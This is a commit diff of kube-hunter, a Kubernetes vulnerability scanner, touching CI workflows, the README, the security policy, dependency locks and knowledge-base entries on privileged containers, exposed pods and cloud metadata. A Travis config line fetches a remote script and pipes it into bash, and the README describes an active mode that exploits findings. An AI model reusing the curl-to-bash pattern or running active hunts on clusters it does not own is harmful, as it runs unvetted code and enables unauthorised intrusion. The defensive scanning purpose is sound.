Compare commits

..

2 Commits

Author SHA1 Message Date
Daniel Sagi
3687d8fbd1 Camel cased pretty table 2020-10-26 23:14:26 +02:00
Daniel Sagi
a7f700c96c updated pretty table to an older version 2020-10-26 23:13:06 +02:00
91 changed files with 798 additions and 3849 deletions

View File

@@ -1,6 +1,5 @@
[flake8]
ignore = E203, E266, E501, W503, B903, T499
ignore = E203, E266, E501, W503, B903
max-line-length = 120
max-complexity = 18
select = B,C,E,F,W,B9,T4
mypy_config=mypy.ini
select = B,C,E,F,W,B9

View File

@@ -7,7 +7,7 @@
Please include a summary of the change and which issue is fixed. Also include relevant motivation and context. List any dependencies that are required for this change.
## Contribution Guidelines
Please Read through the [Contribution Guidelines](https://github.com/aquasecurity/kube-hunter/blob/main/CONTRIBUTING.md).
Please Read through the [Contribution Guidelines](https://github.com/aquasecurity/kube-hunter/blob/master/CONTRIBUTING.md).
## Fixed Issues

View File

@@ -1,14 +0,0 @@
---
name: Lint
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-20.04
steps:
- uses: actions/checkout@v2
- uses: actions/setup-python@v2
- uses: pre-commit/action@v2.0.0
- uses: ibiqlik/action-yamllint@v3

View File

@@ -1,94 +0,0 @@
---
name: Publish
on:
push:
tags:
- "v*"
env:
ALIAS: aquasecurity
REP: kube-hunter
jobs:
dockerhub:
name: Publish To Docker Hub
runs-on: ubuntu-18.04
steps:
- name: Check Out Repo
uses: actions/checkout@v2
- name: Set up QEMU
uses: docker/setup-qemu-action@v1
- name: Set up Docker Buildx
id: buildx
uses: docker/setup-buildx-action@v1
- name: Cache Docker layers
uses: actions/cache@v2
with:
path: /tmp/.buildx-cache
key: ${{ runner.os }}-buildxarch-${{ github.sha }}
restore-keys: |
${{ runner.os }}-buildxarch-
- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USER }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Login to ECR
uses: docker/login-action@v1
with:
registry: public.ecr.aws
username: ${{ secrets.ECR_ACCESS_KEY_ID }}
password: ${{ secrets.ECR_SECRET_ACCESS_KEY }}
- name: Get version
id: get_version
uses: crazy-max/ghaction-docker-meta@v1
with:
images: ${{ env.REP }}
tag-semver: |
{{version}}
- name: Build and push - Docker/ECR
id: docker_build
uses: docker/build-push-action@v2
with:
context: .
platforms: linux/amd64
builder: ${{ steps.buildx.outputs.name }}
push: true
tags: |
${{ secrets.DOCKERHUB_USER }}/${{ env.REP }}:${{ steps.get_version.outputs.version }}
public.ecr.aws/${{ env.ALIAS }}/${{ env.REP }}:${{ steps.get_version.outputs.version }}
${{ secrets.DOCKERHUB_USER }}/${{ env.REP }}:latest
public.ecr.aws/${{ env.ALIAS }}/${{ env.REP }}:latest
cache-from: type=local,src=/tmp/.buildx-cache/release
cache-to: type=local,mode=max,dest=/tmp/.buildx-cache/release
- name: Image digest
run: echo ${{ steps.docker_build.outputs.digest }}
pypi:
name: Publish To PyPI
runs-on: ubuntu-18.04
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -r requirements-dev.txt
- name: Build project
shell: bash
run: |
python -m pip install wheel
make build
- name: Publish distribution package to PyPI
if: startsWith(github.ref, 'refs/tags')
uses: pypa/gh-action-pypi-publish@master
with:
password: ${{ secrets.PYPI_API_TOKEN }}

View File

@@ -1,53 +0,0 @@
---
on:
push:
# Sequence of patterns matched against refs/tags
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
name: Release
jobs:
build:
name: Upload Release Asset
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.9'
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -r requirements-dev.txt
- name: Build project
shell: bash
run: |
make pyinstaller
- name: Create Release
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ github.ref }}
release_name: ${{ github.ref }}
draft: false
prerelease: false
- name: Upload Release Asset
id: upload-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./dist/kube-hunter
asset_name: kube-hunter-linux-x86_64-${{ github.ref }}
asset_content_type: application/octet-stream

View File

@@ -1,39 +0,0 @@
---
name: Test
on: [push, pull_request]
env:
FORCE_COLOR: 1
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
python-version: ["3.6", "3.7", "3.8", "3.9"]
os: [ubuntu-latest]
steps:
- uses: actions/checkout@v2
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Install dependencies
run: |
python -m pip install -U pip
python -m pip install -e .
- name: Test
shell: bash
run: |
make test
- name: Upload coverage
uses: codecov/codecov-action@v1
with:
name: ${{ matrix.os }} Python ${{ matrix.python-version }}

2
.gitignore vendored
View File

@@ -24,10 +24,8 @@ var/
*.egg
*.spec
.eggs
pip-wheel-metadata
# Directory Cache Files
.DS_Store
thumbs.db
__pycache__
.mypy_cache

View File

@@ -1,11 +1,10 @@
---
repos:
- repo: https://github.com/psf/black
rev: stable
hooks:
- id: black
- repo: https://gitlab.com/pycqa/flake8
rev: 3.7.9
hooks:
- id: flake8
additional_dependencies: [flake8-bugbear]
- repo: https://github.com/psf/black
rev: stable
hooks:
- id: black
- repo: https://gitlab.com/pycqa/flake8
rev: 3.7.9
hooks:
- id: flake8
additional_dependencies: [flake8-bugbear]

20
.travis.yml Normal file
View File

@@ -0,0 +1,20 @@
group: travis_latest
language: python
cache: pip
python:
- "3.6"
- "3.7"
- "3.8"
install:
- pip install -r requirements.txt
- pip install -r requirements-dev.txt
before_script:
- make lint-check
script:
- make test
after_success:
- bash <(curl -s https://codecov.io/bash)
notifications:
email:
on_success: change
on_failure: always

View File

@@ -1,6 +0,0 @@
---
extends: default
rules:
line-length: disable
truthy: disable

View File

@@ -16,14 +16,4 @@ RUN make deps
COPY . .
RUN make install
FROM python:3.8-alpine
RUN apk add --no-cache \
tcpdump \
ebtables && \
apk upgrade --no-cache
COPY --from=builder /usr/local/lib/python3.8/site-packages /usr/local/lib/python3.8/site-packages
COPY --from=builder /usr/local/bin/kube-hunter /usr/local/bin/kube-hunter
ENTRYPOINT ["kube-hunter"]

View File

@@ -63,5 +63,5 @@ publish:
.PHONY: clean
clean:
rm -rf build/ dist/ *.egg-info/ .eggs/ .pytest_cache/ .mypy_cache .coverage *.spec
rm -rf build/ dist/ *.egg-info/ .eggs/ .pytest_cache/ .coverage *.spec
find . -type d -name __pycache__ -exec rm -rf '{}' +

View File

@@ -1,18 +1,12 @@
![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/main/kube-hunter.png)
![kube-hunter](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter.png)
[![GitHub Release][release-img]][release]
![Downloads][download]
![Docker Pulls][docker-pull]
[![Build Status](https://github.com/aquasecurity/kube-hunter/workflows/Test/badge.svg)](https://github.com/aquasecurity/kube-hunter/actions)
[![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/main/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter)
[![Build Status](https://travis-ci.org/aquasecurity/kube-hunter.svg?branch=master)](https://travis-ci.org/aquasecurity/kube-hunter)
[![codecov](https://codecov.io/gh/aquasecurity/kube-hunter/branch/master/graph/badge.svg)](https://codecov.io/gh/aquasecurity/kube-hunter)
[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
[![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/main/LICENSE)
[![License](https://img.shields.io/github/license/aquasecurity/kube-hunter)](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE)
[![Docker image](https://images.microbadger.com/badges/image/aquasec/kube-hunter.svg)](https://microbadger.com/images/aquasec/kube-hunter "Get your own image badge on microbadger.com")
[download]: https://img.shields.io/github/downloads/aquasecurity/kube-hunter/total?logo=github
[release-img]: https://img.shields.io/github/release/aquasecurity/kube-hunter.svg?logo=github
[release]: https://github.com/aquasecurity/kube-hunter/releases
[docker-pull]: https://img.shields.io/docker/pulls/aquasec/kube-hunter?logo=docker&label=docker%20pulls%20%2F%20kube-hunter
kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments. **You should NOT run kube-hunter on a Kubernetes cluster that you don't own!**
@@ -20,34 +14,26 @@ kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was d
**Explore vulnerabilities**: The kube-hunter knowledge base includes articles about discoverable vulnerabilities and issues. When kube-hunter reports an issue, it will show its VID (Vulnerability ID) so you can look it up in the KB at https://aquasecurity.github.io/kube-hunter/
**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](https://github.com/aquasecurity/kube-hunter/blob/main/CONTRIBUTING.md).
**Contribute**: We welcome contributions, especially new hunter modules that perform additional tests. If you would like to develop your modules please read [Guidelines For Developing Your First kube-hunter Module](kube_hunter/CONTRIBUTING.md).
[![kube-hunter demo video](https://github.com/aquasecurity/kube-hunter/blob/main/kube-hunter-screenshot.png)](https://youtu.be/s2-6rTkH8a8?t=57s)
[![kube-hunter demo video](https://github.com/aquasecurity/kube-hunter/blob/master/kube-hunter-screenshot.png)](https://youtu.be/s2-6rTkH8a8?t=57s)
Table of Contents
=================
- [Table of Contents](#table-of-contents)
- [Hunting](#hunting)
- [Where should I run kube-hunter?](#where-should-i-run-kube-hunter)
- [Scanning options](#scanning-options)
- [Authentication](#authentication)
- [Active Hunting](#active-hunting)
- [List of tests](#list-of-tests)
- [Nodes Mapping](#nodes-mapping)
- [Output](#output)
- [Dispatching](#dispatching)
- [Advanced Usage](#advanced-usage)
- [Azure Quick Scanning](#azure-quick-scanning)
- [Deployment](#deployment)
- [On Machine](#on-machine)
- [Prerequisites](#prerequisites)
- [Install with pip](#install-with-pip)
- [Run from source](#run-from-source)
- [Container](#container)
- [Pod](#pod)
- [Contribution](#contribution)
- [License](#license)
* [Hunting](#hunting)
* [Where should I run kube-hunter?](#where-should-i-run-kube-hunter)
* [Scanning options](#scanning-options)
* [Active Hunting](#active-hunting)
* [List of tests](#list-of-tests)
* [Nodes Mapping](#nodes-mapping)
* [Output](#output)
* [Dispatching](#dispatching)
* [Deployment](#deployment)
* [On Machine](#on-machine)
* [Prerequisites](#prerequisites)
* [Container](#container)
* [Pod](#pod)
## Hunting
@@ -59,7 +45,7 @@ Run kube-hunter on any machine (including your laptop), select Remote scanning a
You can run kube-hunter directly on a machine in the cluster, and select the option to probe all the local network interfaces.
You can also run kube-hunter in a pod within the cluster. This indicates how exposed your cluster would be if one of your application pods is compromised (through a software vulnerability, for example). (_`--pod` flag_)
You can also run kube-hunter in a pod within the cluster. This indicates how exposed your cluster would be if one of your application pods is compromised (through a software vulnerability, for example).
### Scanning options
@@ -82,26 +68,6 @@ To specify interface scanning, you can use the `--interface` option (this will s
To specify a specific CIDR to scan, use the `--cidr` option. Example:
`kube-hunter --cidr 192.168.0.0/24`
4. **Kubernetes node auto-discovery**
Set `--k8s-auto-discover-nodes` flag to query Kubernetes for all nodes in the cluster, and then attempt to scan them all. By default, it will use [in-cluster config](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) to connect to the Kubernetes API. If you'd like to use an explicit kubeconfig file, set `--kubeconfig /location/of/kubeconfig/file`.
Also note, that this is always done when using `--pod` mode.
### Authentication
In order to mimic an attacker in it's early stages, kube-hunter requires no authentication for the hunt.
* **Impersonate** - You can provide kube-hunter with a specific service account token to use when hunting by manually passing the JWT Bearer token of the service-account secret with the `--service-account-token` flag.
Example:
```bash
$ kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...
```
* When runing with `--pod` flag, kube-hunter uses the service account token [mounted inside the pod](https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/) to authenticate to services it finds during the hunt.
* if specified, `--service-account-token` flag takes priority when running as a pod
### Active Hunting
Active hunting is an option in which kube-hunter will exploit vulnerabilities it finds, to explore for further vulnerabilities.
@@ -141,11 +107,6 @@ Available dispatch methods are:
* KUBEHUNTER_HTTP_DISPATCH_URL (defaults to: https://localhost)
* KUBEHUNTER_HTTP_DISPATCH_METHOD (defaults to: POST)
### Advanced Usage
#### Azure Quick Scanning
When running **as a Pod in an Azure or AWS environment**, kube-hunter will fetch subnets from the Instance Metadata Service. Naturally this makes the discovery process take longer.
To hardlimit subnet scanning to a `/24` CIDR, use the `--quick` option.
## Deployment
There are three methods for deploying kube-hunter:
@@ -213,8 +174,5 @@ The example `job.yaml` file defines a Job that will run kube-hunter in a pod, us
* Find the pod name with `kubectl describe job kube-hunter`
* View the test results with `kubectl logs <pod name>`
## Contribution
To read the contribution guidelines, <a href="https://github.com/aquasecurity/kube-hunter/blob/main/CONTRIBUTING.md"> Click here </a>
## License
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/main/LICENSE).
This repository is available under the [Apache License 2.0](https://github.com/aquasecurity/kube-hunter/blob/master/LICENSE).

View File

@@ -1,17 +0,0 @@
# Security Policy
## Supported Versions
| Version | Supported |
| --------- | ------------------ |
| 0.4.x | :white_check_mark: |
| 0.3.x | :white_check_mark: |
## Reporting a Vulnerability
We encourage you to find vulnerabilities in kube-hunter.
The process is simple, just report a Bug issue. and we will take a look at this.
If you prefer to disclose privately, you can write to one of the security maintainers at:
| Name | Email |
| ----------- | ------------------ |
| Daniel Sagi | daniel.sagi@aquasec.com |

View File

@@ -1,12 +1,11 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.3.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
activesupport (4.2.11.1)
i18n (~> 0.7)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
coffee-script (2.4.1)
@@ -16,67 +15,65 @@ GEM
colorator (1.1.0)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
concurrent-ruby (1.1.7)
dnsruby (1.61.5)
simpleidn (~> 0.1)
em-websocket (0.5.2)
concurrent-ruby (1.1.5)
dnsruby (1.61.3)
addressable (~> 2.5)
em-websocket (0.5.1)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
ethon (0.12.0)
ffi (>= 1.3.0)
eventmachine (1.2.7)
execjs (2.7.0)
faraday (1.3.0)
faraday-net_http (~> 1.0)
faraday (0.17.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords
faraday-net_http (1.0.1)
ffi (1.14.2)
ffi (1.11.1)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (209)
github-pages (201)
activesupport (= 4.2.11.1)
github-pages-health-check (= 1.16.1)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll (= 3.8.5)
jekyll-avatar (= 0.6.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-feed (= 0.11.0)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-github-metadata (= 2.12.1)
jekyll-mentions (= 1.4.1)
jekyll-optional-front-matter (= 0.3.0)
jekyll-paginate (= 1.1.0)
jekyll-readme-index (= 0.3.0)
jekyll-redirect-from (= 0.16.0)
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.2)
jekyll-readme-index (= 0.2.0)
jekyll-redirect-from (= 0.14.0)
jekyll-relative-links (= 0.6.0)
jekyll-remote-theme (= 0.4.0)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.6.1)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-seo-tag (= 2.5.0)
jekyll-sitemap (= 1.2.0)
jekyll-swiss (= 0.4.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-hacker (= 0.1.1)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-primer (= 0.5.3)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.0)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.3)
jekyll-titles-from-headings (= 0.5.1)
jemoji (= 0.10.2)
kramdown (= 1.17.0)
liquid (= 4.0.0)
listen (= 3.1.5)
mercenary (~> 0.3)
minima (= 2.5.1)
minima (= 2.5.0)
nokogiri (>= 1.10.4, < 2.0)
rouge (= 3.23.0)
rouge (= 3.11.0)
terminal-table (~> 1.4)
github-pages-health-check (1.16.1)
addressable (~> 2.3)
@@ -84,27 +81,27 @@ GEM
octokit (~> 4.0)
public_suffix (~> 3.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
html-pipeline (2.12.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
jekyll (3.8.5)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (~> 0.7)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
kramdown (~> 1.14)
liquid (~> 4.0)
mercenary (~> 0.3.3)
pathutil (~> 0.9)
rouge (>= 1.7, < 4)
safe_yaml (~> 1.0)
jekyll-avatar (0.7.0)
jekyll (>= 3.0, < 5.0)
jekyll-avatar (0.6.0)
jekyll (~> 3.0)
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
@@ -117,37 +114,36 @@ GEM
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
jekyll (>= 3.7, < 5.0)
jekyll-feed (0.11.0)
jekyll (~> 3.3)
jekyll-gist (1.5.0)
octokit (~> 4.2)
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
jekyll-github-metadata (2.12.1)
jekyll (~> 3.4)
octokit (~> 4.0, != 4.4.0)
jekyll-mentions (1.6.0)
jekyll-mentions (1.4.1)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
jekyll-optional-front-matter (0.3.2)
jekyll (>= 3.0, < 5.0)
jekyll (~> 3.0)
jekyll-optional-front-matter (0.3.0)
jekyll (~> 3.0)
jekyll-paginate (1.1.0)
jekyll-readme-index (0.3.0)
jekyll (>= 3.0, < 5.0)
jekyll-redirect-from (0.16.0)
jekyll (>= 3.3, < 5.0)
jekyll-relative-links (0.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-remote-theme (0.4.2)
jekyll-readme-index (0.2.0)
jekyll (~> 3.0)
jekyll-redirect-from (0.14.0)
jekyll (~> 3.3)
jekyll-relative-links (0.6.0)
jekyll (~> 3.3)
jekyll-remote-theme (0.4.0)
addressable (~> 2.0)
jekyll (>= 3.5, < 5.0)
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
rubyzip (>= 1.3.0, < 3.0)
jekyll (~> 3.5)
rubyzip (>= 1.2.1, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-seo-tag (2.5.0)
jekyll (~> 3.3)
jekyll-sitemap (1.2.0)
jekyll (~> 3.3)
jekyll-swiss (0.4.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
@@ -157,8 +153,8 @@ GEM
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll (> 3.5, < 5.0)
jekyll-theme-hacker (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
@@ -175,8 +171,8 @@ GEM
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.5.4)
jekyll (> 3.5, < 5.0)
jekyll-theme-primer (0.5.3)
jekyll (~> 3.5)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.1.1)
@@ -188,49 +184,43 @@ GEM
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
jekyll-titles-from-headings (0.5.1)
jekyll (~> 3.3)
jekyll-watch (2.2.1)
listen (~> 3.0)
jemoji (0.12.0)
jemoji (0.10.2)
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.0)
rexml (>= 3.2.5)
kramdown-parser-gfm (1.1.0)
kramdown (>= 2.3.1)
liquid (4.0.3)
listen (3.4.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
jekyll (~> 3.0)
kramdown (1.17.0)
liquid (4.0.0)
listen (3.1.5)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
ruby_dep (~> 1.2)
mercenary (0.3.6)
mini_portile2 (2.5.0)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
mini_portile2 (2.4.0)
minima (2.5.0)
jekyll (~> 3.5)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.3)
minitest (5.12.2)
multipart-post (2.1.1)
nokogiri (>= 1.11.4)
mini_portile2 (~> 2.5.0)
racc (~> 1.4)
octokit (4.20.0)
faraday (>= 0.9)
nokogiri (1.10.8)
mini_portile2 (~> 2.4.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (3.1.1)
racc (1.5.2)
rb-fsevent (0.10.4)
rb-inotify (0.10.1)
rb-fsevent (0.10.3)
rb-inotify (0.10.0)
ffi (~> 1.0)
rexml (3.2.4)
rouge (3.23.0)
ruby-enum (0.8.0)
rouge (3.11.0)
ruby-enum (0.7.2)
i18n
ruby2_keywords (0.0.2)
rubyzip (2.3.0)
ruby_dep (1.5.0)
rubyzip (2.0.0)
safe_yaml (1.0.5)
sass (3.7.4)
sass-listen (~> 4.0.0)
@@ -240,20 +230,14 @@ GEM
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simpleidn (0.1.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
typhoeus (1.4.0)
typhoeus (1.3.1)
ethon (>= 0.9.0)
tzinfo (1.2.9)
tzinfo (1.2.5)
thread_safe (~> 0.1)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
zeitwerk (2.4.2)
unicode-display_width (1.6.0)
PLATFORMS
ruby
@@ -263,4 +247,4 @@ DEPENDENCIES
jekyll-sitemap
BUNDLED WITH
2.2.5
1.17.2

View File

@@ -1,7 +1,6 @@
---
title: kube-hunter
description: Kube-hunter hunts for security weaknesses in Kubernetes clusters
logo: https://raw.githubusercontent.com/aquasecurity/kube-hunter/main/kube-hunter.png
logo: https://raw.githubusercontent.com/aquasecurity/kube-hunter/master/kube-hunter.png
show_downloads: false
google_analytics: UA-63272154-1
theme: jekyll-theme-minimal
@@ -11,7 +10,7 @@ collections:
defaults:
-
scope:
path: "" # an empty string here means all files in the project
path: "" # an empty string here means all files in the project
values:
layout: "default"

View File

@@ -12,10 +12,7 @@ Microsoft Azure provides an internal HTTP endpoint that exposes information from
## Remediation
Starting in the 2020.10.15 Azure VHD Release, AKS restricts the pod CIDR access to that internal HTTP endpoint.
[CVE-2021-27075](https://github.com/Azure/AKS/issues/2168)
Consider using AAD Pod Identity. A Microsoft project that allows scoping the identity of workloads to Kubernetes Pods instead of VMs (instances).
## References

View File

@@ -12,7 +12,7 @@ Kubernetes API was accessed with Pod Service Account or without Authentication (
## Remediation
Secure access to your Kubernetes API.
Secure acess to your Kubernetes API.
It is recommended to explicitly specify a Service Account for all of your workloads (`serviceAccountName` in `Pod.Spec`), and manage their permissions according to the least privilege principal.
@@ -21,4 +21,4 @@ Consider opting out automatic mounting of SA token using `automountServiceAccoun
## References
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
- [Configure Service Accounts for Pods](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)

View File

@@ -1,40 +0,0 @@
---
vid: KHV051
title: Exposed Existing Privileged Containers Via Secure Kubelet Port
categories: [Access Risk]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
The kubelet is configured to allow anonymous (unauthenticated) requests to its HTTPs API. This may expose certain information and capabilities to an attacker with access to the kubelet API.
A privileged container is given access to all devices on the host and can work at the kernel level. It is declared using the `Pod.spec.containers[].securityContext.privileged` attribute. This may be useful for infrastructure containers that perform setup work on the host, but is a dangerous attack vector.
Furthermore, if the kubelet **and** the API server authentication mechanisms are (mis)configured such that anonymous requests can execute commands via the API within the containers (specifically privileged ones), a malicious actor can leverage such capabilities to do way more damage in the cluster than expected: e.g. start/modify process on host.
## Remediation
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
Minimize the use of privileged containers.
Use Pod Security Policies to enforce using `privileged: false` policy.
Review the RBAC permissions to Kubernetes API server for the anonymous and default service account, including bindings.
Ensure node(s) runs active filesystem monitoring.
Set `--insecure-port=0` and remove `--insecure-bind-address=0.0.0.0` in the Kubernetes API server config.
Remove `AlwaysAllow` from `--authorization-mode` in the Kubernetes API server config. Alternatively, set `--anonymous-auth=false` in the Kubernetes API server config; this will depend on the API server version running.
## References
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)
- [Privileged mode for pod containers](https://kubernetes.io/docs/concepts/workloads/pods/pod/#privileged-mode-for-pod-containers)
- [Pod Security Policies - Privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)
- [Using RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
- [KHV005 - Access to Kubernetes API]({{ site.baseurl }}{% link _kb/KHV005.md %})
- [KHV036 - Anonymous Authentication]({{ site.baseurl }}{% link _kb/KHV036.md %})

View File

@@ -1,23 +0,0 @@
---
vid: KHV052
title: Exposed Pods
categories: [Information Disclosure]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
An attacker could view sensitive information about pods that are bound to a Node using the exposed /pods endpoint
This can be done either by accessing the readonly port (default 10255), or from the secure kubelet port (10250)
## Remediation
Ensure kubelet is protected using `--anonymous-auth=false` kubelet flag. Allow only legitimate users using `--client-ca-file` or `--authentication-token-webhook` kubelet flags. This is usually done by the installer or cloud provider.
Disable the readonly port by using `--read-only-port=0` kubelet flag.
## References
- [Kubelet configuration](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)
- [Kubelet authentication/authorization](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)

View File

@@ -1,24 +0,0 @@
---
vid: KHV053
title: AWS Metadata Exposure
categories: [Information Disclosure]
---
# {{ page.vid }} - {{ page.title }}
## Issue description
AWS EC2 provides an internal HTTP endpoint that exposes information from the cloud platform to workloads running in an instance. The endpoint is accessible to every workload running in the instance. An attacker that is able to execute a pod in the cluster may be able to query the metadata service and discover additional information about the environment.
## Remediation
* Limit access to the instance metadata service. Consider using a local firewall such as `iptables` to disable access from some or all processes/users to the instance metadata service.
* Disable the metadata service (via instance metadata options or IAM), or at a minimum enforce the use IMDSv2 on an instance to require token-based access to the service.
* Modify the HTTP PUT response hop limit on the instance to 1. This will only allow access to the service from the instance itself rather than from within a pod.
## References
- [AWS Instance Metadata service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)
- [EC2 Instance Profiles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)

View File

@@ -1,4 +1,3 @@
---
apiVersion: batch/v1
kind: Job
metadata:
@@ -7,9 +6,9 @@ spec:
template:
spec:
containers:
- name: kube-hunter
image: aquasec/kube-hunter
command: ["kube-hunter"]
args: ["--pod"]
- name: kube-hunter
image: aquasec/kube-hunter
command: ["python", "kube-hunter.py"]
args: ["--pod"]
restartPolicy: Never
backoffLimit: 4

Binary file not shown.

Before

Width:  |  Height:  |  Size: 230 KiB

After

Width:  |  Height:  |  Size: 144 KiB

